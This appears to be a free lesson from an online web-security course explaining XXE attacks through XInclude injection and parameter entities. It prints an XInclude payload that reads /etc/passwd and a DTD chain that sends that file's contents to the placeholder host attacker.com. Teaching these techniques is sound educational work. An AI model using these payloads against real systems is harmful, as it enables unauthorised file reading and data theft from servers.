Course contentsShow
← Security
Lesson 624 of 3,05213. Web Security - Injection AttacksFree lesson

XInclude and Parameter Entity Attacks

Explore advanced XXE using XInclude injection and parameter entities to bypass filtering.

XInclude and Parameter Entity Attacks

What you'll learn: How attackers use XInclude injection and parameter entities to bypass XXE filters and execute advanced XML External Entity attacks.

The Core Idea

Some applications try to protect against XXE by disabling external entities or sanitizing input. XInclude injection and parameter entity attacks are two clever workarounds that bypass these defenses by exploiting different parts of the XML specification.

XInclude Injection

XInclude is an XML feature that lets you include external XML documents within an XML document. Even if the application doesn't parse the root XML with external entities enabled, if your injected data ends up inside an XML document that gets processed with XInclude support, you can trigger file reads.

The key difference: Instead of defining entities in the DOCTYPE, you inject an XInclude directive directly into element content:

<productId>
  <xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="file:///etc/passwd"/>
</productId>

This works when your input becomes part of a larger XML document being parsed, even if you don't control the root element.

Parameter Entity Attacks

Parameter entities are special entities defined in the DTD (Document Type Definition) and used within the DTD itself. They're marked with a % symbol and can reference external resources:

<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
  %eval;
  %exfil;
]>

Parameter entities let you chain operations together, making them powerful for blind XXE attacks where you need to exfiltrate data out-of-band.

Key Takeaway: XInclude injection exploits XML processing at the element level to bypass DOCTYPE restrictions, while parameter entities create sophisticated attack chains within the DTD to exfiltrate data and bypass filtering—both techniques defeat common XXE defenses.